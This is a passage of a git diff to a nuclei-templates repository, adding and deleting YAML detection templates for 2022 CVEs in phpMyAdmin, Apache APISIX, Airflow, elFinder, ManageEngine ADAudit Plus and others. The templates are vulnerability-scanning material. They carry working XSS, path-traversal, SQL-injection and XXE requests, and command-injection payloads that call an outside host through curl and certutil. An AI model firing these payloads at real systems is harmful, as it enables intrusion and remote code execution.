http.component:"phpmyadmin" - tags: cve,cve2022,phpmyadmin,xss - -http: - - method: GET - path: - - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "\">" - - "

    Add a new server

    " - - "phpMyAdmin setup" - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 -# digest: 4a0a00473045022038d5ba39a2b759095a3f8426c738ce15cf6c83b54e32b080e617ac13d733503a022100e570ecb30aa4d1b1fe02f8867294888554e1bb76b68135ab78cb7e93cf859e4e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-23881.yaml b/nuclei-templates/CVE-2022/CVE-2022-23881.yaml deleted file mode 100644 index a61fef96bc..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-23881.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2022-23881 - -info: - name: ZZZCMS zzzphp 2.1.0 - Remote Code Execution - author: pikpikcu - severity: critical - description: ZZZCMS zzzphp v2.1.0 is susceptible to a remote command execution vulnerability via danger_key() at zzz_template.php. - reference: - - https://github.com/metaStor/Vuls/blob/main/zzzcms/zzzphp%20V2.1.0%20RCE/zzzphp%20V2.1.0%20RCE.md - - http://www.zzzcms.com - - https://nvd.nist.gov/vuln/detail/CVE-2022-23881 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-23881 - cwe-id: CWE-77 - cpe: cpe:2.3:a:zzzcms:zzzphp:*:*:*:*:*:*:*:* - epss-score: 0.31115 - tags: cve,cve2022,rce,zzzphp,zzzcms - metadata: - max-request: 1 - -http: - - raw: - - | - GET /?location=search HTTP/1.1 - Host: {{Hostname}} - Cookies: keys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if} - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - - type: status - status: - - 500 - -# Enhanced by mp on 2022/04/19 diff --git a/nuclei-templates/CVE-2022/CVE-2022-24112.yaml b/nuclei-templates/CVE-2022/CVE-2022-24112.yaml new file mode 100644 index 0000000000..d023a06b4a --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-24112.yaml @@ -0,0 +1,86 @@ +id: CVE-2022-24112 + +info: + name: Apache APISIX - Remote Code Execution + author: Mr-xn + severity: critical + description: A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. + remediation: Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`). + reference: + - https://www.openwall.com/lists/oss-security/2022/02/11/3 + - https://twitter.com/sirifu4k1/status/1496043663704858625 + - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests + - https://nvd.nist.gov/vuln/detail/CVE-2022-24112 + - http://www.openwall.com/lists/oss-security/2022/02/11/3 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-24112 + cwe-id: CWE-290 + epss-score: 0.97261 + epss-percentile: 0.99825 + cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: apache + product: apisix + shodan-query: title:"Apache APISIX Dashboard" + fofa-query: title="Apache APISIX Dashboard" + tags: cve,cve2022,apache,rce,apisix,oast,kev,intrusive + +http: + - raw: + - | + POST /apisix/batch-requests HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + Accept-Encoding: gzip, deflate + Accept-Language: zh-CN,zh;q=0.9 + + { + "headers":{ + "X-Real-IP":"127.0.0.1", + "Content-Type":"application/json" + }, + "timeout":1500, + "pipeline":[ + { + "method":"PUT", + "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1", + "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\"}" + } + ] + } + - | + GET /api/{{randstr}} HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept-Language: zh-CN,zh;q=0.9 + + matchers-condition: and + matchers: + - type: word + part: body_1 + words: + - '"reason":"OK"' + - '"status":200' + condition: and + + - type: word + part: interactsh_protocol + words: + - http + + - type: status + status: + - 200 + + extractors: + - type: regex + group: 1 + regex: + - GET \/([a-z-]+) HTTP + part: interactsh_request +# digest: 4b0a004830460221008ec50579ecb1d58ca336d07a17961f227be3a77e752f3700fee6696537ecfaa7022100bbacb0066289e35e4ed902e5b09dfe5935e1cf61edc477f729c80d7926a6117a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-24288.yaml b/nuclei-templates/CVE-2022/CVE-2022-24288.yaml new file mode 100644 index 0000000000..8aa55a92ad --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-24288.yaml @@ -0,0 +1,45 @@ +id: CVE-2022-24288 + +info: + name: Apache Airflow OS Command Injection + author: xeldax + severity: high + description: Apache Airflow prior to version 2.2.4 is vulnerable to OS command injection attacks because some example DAGs do not properly sanitize user-provided parameters, making them susceptible to OS Command Injection from the web UI. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system. + remediation: | + Apply the latest security patches or upgrade to a patched version of Apache Airflow. + reference: + - https://github.com/advisories/GHSA-3v7g-4pg3-7r6j + - https://nvd.nist.gov/vuln/detail/CVE-2022-24288 + - https://lists.apache.org/thread/dbw5ozcmr0h0lhs0yjph7xdc64oht23t + - https://github.com/ARPSyndicate/kenzer-templates + - https://github.com/Hax0rG1rl/my_cve_and_bounty_poc + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2022-24288 + cwe-id: CWE-78 + epss-score: 0.81676 + epss-percentile: 0.98279 + cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: apache + product: airflow + shodan-query: title:"Airflow - DAGs" || http.html:"Apache Airflow" + tags: cve,cve2022,airflow,rce,apache + +http: + - method: GET + path: + - "{{BaseURL}}/admin/airflow/code?root=&dag_id=example_passing_params_via_test_command" + - "{{BaseURL}}/code?dag_id=example_passing_params_via_test_command" + + stop-at-first-match: true + matchers: + - type: word + words: + - 'foo was passed in via Airflow CLI Test command with value {{ params.foo }}' # Works with unauthenticated airflow instance +# digest: 4a0a00473045022014c9c4b7a70a69fdf977286bc7aabdd64059d785bff999619c167ab3393355120221008cdca1281271d3ca5ea873f99082667f92c1aff3d825665947813512c6113339:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-24637.yaml b/nuclei-templates/CVE-2022/CVE-2022-24637.yaml new file mode 100644 index 0000000000..9429cb377a --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-24637.yaml @@ -0,0 +1,61 @@ +id: CVE-2022-24637 + +info: + name: "Open Web Analytics 1.7.3 - Remote Code Execution" + author: topscoder + severity: critical + description: "Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended <?php sequence) aren't handled by the PHP interpreter." + reference: + - https://devel0pment.de/?p=2494 + - https://github.com/Open-Web-Analytics/Open-Web-Analytics/releases/tag/1.7.4 + - http://packetstormsecurity.com/files/169811/Open-Web-Analytics-1.7.3-Remote-Code-Execution.html + - https://github.com/garySec/CVE-2022-24637 + - https://github.com/hupe1980/CVE-2022-24637 + + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-24637 + metadata: + fofa-query: "/wp-content/plugins/owa/" + google-query: inurl:"/wp-content/plugins/owa/" + shodan-query: 'vuln:CVE-2022-24637' + tags: cve,wordpress,plugin,wp-plugin,critical,critical + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/owa/index.php?owa_do=base.loginForm" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)- v: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)- v: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "Open Web Analytics" + part: body + + - type: dsl + dsl: + - compare_versions(version, "< 1.7.4") \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-24856.yaml b/nuclei-templates/CVE-2022/CVE-2022-24856.yaml deleted file mode 100644 index 0bf893b39e..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-24856.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2022-24856 -info: - name: Flyte Console <0.52.0 - Server-Side Request Forgery - author: pdteam - severity: high - description: | - FlyteConsole is the web user interface for the Flyte platform. FlyteConsole prior to version 0.52.0 is vulnerable to server-side request forgery when FlyteConsole is open to the general internet. An attacker can exploit any user of a vulnerable instance to access the internal metadata server or other unauthenticated URLs. Passing of headers to an unauthorized actor may occur. - reference: - - https://github.com/flyteorg/flyteconsole/security/advisories/GHSA-www6-hf2v-v9m9 - - https://github.com/flyteorg/flyteconsole/pull/389 - - https://hackerone.com/reports/1540906 - - https://nvd.nist.gov/vuln/detail/CVE-2022-24856 - remediation: | - The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-24856 - cwe-id: CWE-918 - tags: cve,cve2022,flyteconsole,ssrf,oss -requests: - - method: GET - path: - - "{{BaseURL}}/cors_proxy/https://www.interact.sh" - matchers: - - type: word - words: - - "Interactsh Server" - -# Enhanced by mp on 2022/06/29 diff --git a/nuclei-templates/CVE-2022/CVE-2022-24900.yaml b/nuclei-templates/CVE-2022/CVE-2022-24900.yaml deleted file mode 100644 index 9f2945210d..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-24900.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2022-24900 -info: - name: Piano LED Visualizer 1.3 - Local File Inclusion - author: 0x_Akoko - severity: high - description: | - Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion. - reference: - - https://github.com/onlaj/Piano-LED-Visualizer/issues/350 - - https://vuldb.com/?id.198714 - - https://www.cvedetails.com/cve/CVE-2022-24900/ - - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - cvss-score: 8.6 - cve-id: CVE-2022-24900 - cwe-id: CWE-610 - tags: cve,cve2022,lfi,piano,iot,oss -requests: - - method: GET - path: - - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/29 diff --git a/nuclei-templates/CVE-2022/CVE-2022-24990.yaml b/nuclei-templates/CVE-2022/CVE-2022-24990.yaml deleted file mode 100644 index 406f650c14..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-24990.yaml +++ /dev/null @@ -1,59 +0,0 @@ -id: CVE-2022-24990 - -info: - name: TerraMaster TOS < 4.2.30 Server Information Disclosure - author: dwisiswant0 - severity: high - description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure. - remediation: | - Upgrade the TerraMaster TOS server to version 4.2.30 or later to mitigate the vulnerability. - reference: - - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/ - - https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732 - - https://forum.terra-master.com/en/viewforum.php?f=28 - - http://packetstormsecurity.com/files/172904/TerraMaster-TOS-4.2.29-Remote-Code-Execution.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-24990 - cwe-id: CWE-306 - epss-score: 0.93762 - epss-percentile: 0.98891 - cpe: cpe:2.3:o:terra-master:terramaster_operating_system:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: terra-master - product: terramaster_operating_system - shodan-query: "TerraMaster" - tags: packetstorm,cve,cve2022,terramaster,exposure,kev - -http: - - method: GET - path: - - "{{BaseURL}}/module/api.php?mobile/webNasIPS" - - headers: - User-Agent: "TNAS" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "application/json" - - "TerraMaster" - condition: and - - - type: regex - part: body - regex: - - "webNasIPS successful" - - "(ADDR|(IFC|PWD|[DS]AT)):" - - "\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":" - condition: or - - - type: status - status: - - 200 - -# digest: 490a00463044021f6e66448fd76e8c8c0990a581377289c1d141b0e49707e049e1dd3b470a9dcb022100ed94be8f7cd3c2849ec172f238359e54d558e772f488741c149d14999d5541f1:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-25216.yaml b/nuclei-templates/CVE-2022/CVE-2022-25216.yaml deleted file mode 100644 index e76bdcc221..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-25216.yaml +++ /dev/null @@ -1,49 +0,0 @@ -id: CVE-2022-25216 - -info: - name: DVDFab 12 Player/PlayerFab - Local File Inclusion - author: 0x_Akoko - severity: high - description: DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access. - impact: | - The vulnerability allows an attacker to include arbitrary local files, potentially leading to unauthorized access, information disclosure. - remediation: | - Apply the latest patch or update from the vendor to fix the vulnerability. - reference: - - https://www.tenable.com/security/research/tra-2022-07 - - https://nvd.nist.gov/vuln/detail/CVE-2022-25216 - - https://github.com/ARPSyndicate/kenzer-templates - - https://github.com/ARPSyndicate/cvemon - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-25216 - cwe-id: CWE-22 - epss-score: 0.01345 - epss-percentile: 0.85828 - cpe: cpe:2.3:a:dvdfab:12_player:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: dvdfab - product: 12_player - tags: cve,cve2022,dvdFab,lfi,lfr,tenable,dvdfab - -http: - - method: GET - path: - - "{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and - - - type: status - status: - - 200 -# digest: 490a0046304402203f6ae7c1e6a044dfb0d2128ba0584e801d970fb9556d08d9a0525a2a896768f502202d00ccb4c7597331865d1c3b386225396ccb8816353db36cda136dc03489c824:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-25323.yaml b/nuclei-templates/CVE-2022/CVE-2022-25323.yaml deleted file mode 100644 index 76d9d8c766..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-25323.yaml +++ /dev/null @@ -1,49 +0,0 @@ -id: CVE-2022-25323 - -info: - name: ZEROF Web Server 2.0 - Cross-Site Scripting - author: pikpikcu - severity: medium - description: ZEROF Web Server 2.0 allows /admin.back cross-site scripting. - remediation: | - Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in ZEROF Web Server 2.0. - reference: - - https://github.com/awillix/research/blob/main/cve/CVE-2022-25323.md - - https://nvd.nist.gov/vuln/detail/CVE-2022-25323 - - https://awillix.ru - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-25323 - cwe-id: CWE-79 - epss-score: 0.00115 - epss-percentile: 0.45065 - cpe: cpe:2.3:a:zerof:web_server:2.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: zerof - product: web_server - tags: xss,cve,cve2022,zerof - -http: - - method: GET - path: - - "{{BaseURL}}/admin.back<img%20src=x%20onerror=alert(document.domain)>" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'back<img src=x onerror=alert(document.domain)>' - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 401 - -# digest: 4b0a00483046022100967fa23ea09cb3af69df617c5468652e0e4dfd64cd1fa00cfaff586fee5794e5022100d790d0b0674fc912cf185e0683e39cd37a065f890e11c62e5194847b31f54f49:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-26135.yaml b/nuclei-templates/CVE-2022/CVE-2022-26135.yaml new file mode 100644 index 0000000000..f24f3f1cf7 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-26135.yaml @@ -0,0 +1,28 @@ +id: CVE-2022-26135 +info: + name: Full-Read Server Side Request Forgery in Mobile Plugin for Jira Data Center and Server + author: dk4trin + severity: high + description: A vulnerability in Mobile Plugin for Jira Data Center and Server allows a remote, authenticated user (including a user who joined via the sign-up feature) to perform a full read server-side request forgery via a batch endpoint. This affects Atlassian Jira Server and Data Center from version 8.0.0 before version 8.13.22, from version 8.14.0 before 8.20.10, from version 8.21.0 before 8.22.4. This also affects Jira Management Server and Data Center versions from version 4.0.0 before 4.13.22, from version 4.14.0 before 4.20.10 and from version 4.21.0 before 4.22.4. + reference: + - https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html + - https://github.com/assetnote/jira-mobile-ssrf-exploit + classification: + cvss-score: 7.5 + cve-id: CVE-2020-14179 + tags: cve,cve2022,atlassian,jira,ssrf +requests: + - method: GET + path: + - "{{BaseURL}}/secure/Signup!default.jspa" + matchers-condition: and + matchers: + - type: word + words: + - "Email" + - "Username" + - "Password" + condition: and + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-26564.yaml b/nuclei-templates/CVE-2022/CVE-2022-26564.yaml deleted file mode 100644 index f95d08a217..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-26564.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2022-26564 -info: - name: HotelDruid Hotel Management Software 3.0.3 XSS - author: alexrydzak - severity: medium - description: | - HotelDruid Hotel Management Software v3.0.3 contains a cross-site scripting (XSS) vulnerability. - reference: - - https://rydzak.me/2022/04/cve-2022-26564/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-26564 - - https://www.hoteldruid.com - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-26564 - cwe-id: CWE-79 - metadata: - shodan-query: http.favicon.hash:-1521640213 - tags: cve,cve2022,hoteldruid,xss -requests: - - method: GET - path: - - '{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22><script>javascript:alert(%27XSS%27)</script>' - - '{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22><script>javascript:alert(%27XSS%27)</script>&idclienti=1' - - '{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22><script>javascript:alert(%27XSS%27)</script>' - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "<script>javascript:alert('XSS')</script>" - - "HotelDruid" - condition: and - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-26960.yaml b/nuclei-templates/CVE-2022/CVE-2022-26960.yaml new file mode 100644 index 0000000000..21b4f71879 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-26960.yaml @@ -0,0 +1,36 @@ +id: CVE-2022-26960 +info: + name: elFinder <=2.1.60 - Local File Inclusion + author: pikpikcu + severity: critical + description: | + elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths. + reference: + - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html + - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db + - https://www.synacktiv.com/publications.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-26960 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 9.1 + cve-id: CVE-2022-26960 + cwe-id: CWE-22 + metadata: + verified: true + tags: cve,cve2022,lfi,elfinder +requests: + - raw: + - | + GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/05 diff --git a/nuclei-templates/CVE-2022/CVE-2022-27927.yaml b/nuclei-templates/CVE-2022/CVE-2022-27927.yaml new file mode 100644 index 0000000000..96820d1ca3 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-27927.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-27927 +info: + name: Microfinance Management System 1.0 - SQL Injection + author: lucasljm2001,ekrause + severity: critical + description: | + Microfinance Management System 1.0 is susceptible to SQL Injection. + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927 + - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip + - https://www.exploit-db.com/exploits/50891 + - https://nvd.nist.gov/vuln/detail/CVE-2022-27927 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-27927 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve,cve2022,sqli,microfinance +variables: + num: "999999999" +requests: + - raw: + - | + GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1 + Host: {{Hostname}} + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/nuclei-templates/CVE-2022/CVE-2022-28080.yaml b/nuclei-templates/CVE-2022/CVE-2022-28080.yaml deleted file mode 100644 index dc59377c75..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-28080.yaml +++ /dev/null @@ -1,65 +0,0 @@ -id: CVE-2022-28080 -info: - name: Royal Event - SQL Injection - author: lucasljm2001,ekrause,ritikchaddha - severity: high - description: | - Detects an SQL Injection vulnerability in Royal Event System - reference: - - https://www.exploit-db.com/exploits/50934 - - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip - - https://nvd.nist.gov/vuln/detail/CVE-2022-28080 - - https://github.com/erengozaydin/Royal-Event-Management-System-todate-SQL-Injection-Authenticated - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2022-28080 - tags: cve,cve2022,sqli,authenticated,cms,royalevent -requests: - - raw: - - | - POST /royal_event/ HTTP/1.1 - Host: {{Hostname}} - Content-Length: 353 - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD - - ------WebKitFormBoundaryCSxQll1eihcqgIgD - Content-Disposition: form-data; name="username" - - {{username}} - ------WebKitFormBoundaryCSxQll1eihcqgIgD - Content-Disposition: form-data; name="password" - - {{password}} - ------WebKitFormBoundaryCSxQll1eihcqgIgD - Content-Disposition: form-data; name="login" - - - ------WebKitFormBoundaryCSxQll1eihcqgIgD-- - - | - POST /royal_event/btndates_report.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD - - ------WebKitFormBoundaryFboH5ITu7DsGIGrD - Content-Disposition: form-data; name="todate" - - 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5("{{randstr}}"),0x1,0x2),NULL-- - - ------WebKitFormBoundaryFboH5ITu7DsGIGrD - Content-Disposition: form-data; name="search" - - 3 - ------WebKitFormBoundaryFboH5ITu7DsGIGrD - Content-Disposition: form-data; name="fromdate" - - 01/01/2011 - ------WebKitFormBoundaryFboH5ITu7DsGIGrD-- - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - words: - - '{{md5("{{randstr}}")}}' - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-28219.yaml b/nuclei-templates/CVE-2022/CVE-2022-28219.yaml new file mode 100644 index 0000000000..a812336fd8 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-28219.yaml @@ -0,0 +1,53 @@ +id: CVE-2022-28219 +info: + name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution + author: dwisiswant0 + severity: critical + description: | + Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an + unauthenticated XML entity injection attack that can lead to remote code execution. + reference: + - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html + - https://www.horizon3.ai/red-team-blog-cve-2022-28219/ + - https://manageengine.com + - https://nvd.nist.gov/vuln/detail/CVE-2022-28219 + remediation: | + Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus + is configured with a dedicated service account with restricted privileges. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-28219 + cwe-id: CWE-611 + metadata: + shodan-query: http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus" + verified: "true" + tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth +requests: + - method: POST + path: + - "{{BaseURL}}/api/agent/tabs/agentData" + headers: + Content-Type: application/json + body: | + [ + { + "DomainName": "{{Host}}", + "EventCode": 4688, + "EventType": 0, + "TimeGenerated": 0, + "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><! foo [ <!ENTITY % xxe SYSTEM \"http://{{interactsh-url}}\"> %xxe; ]>" + } + ] + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + - type: word + part: body + words: + - "ManageEngine" + +# Enhanced by mp on 2022/07/04 diff --git a/nuclei-templates/CVE-2022/CVE-2022-29298.yaml b/nuclei-templates/CVE-2022/CVE-2022-29298.yaml deleted file mode 100644 index 191cb6e9b8..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-29298.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2022-29298 -info: - name: SolarView Compact 6.00 - Directory Traversal - author: ritikchaddha - severity: high - description: SolarView Compact ver.6.00 allows attackers to access sensitive files via directory traversal. - reference: - - https://www.exploit-db.com/exploits/50950 - - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view - - https://nvd.nist.gov/vuln/detail/CVE-2022-29298 - - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-29298 - cwe-id: CWE-22 - metadata: - shodan-query: http.html:"SolarView Compact" - verified: "true" - tags: cve,cve2022,lfi,solarview -requests: - - method: GET - path: - - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg" - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-29303.yaml b/nuclei-templates/CVE-2022/CVE-2022-29303.yaml deleted file mode 100644 index 1d2c392e54..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-29303.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2022-29303 - -info: - name: SolarView Compact 6.00 - OS Command Injection - author: badboycxcc - severity: critical - description: | - SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php. - reference: - - https://www.exploit-db.com/exploits/50940 - - 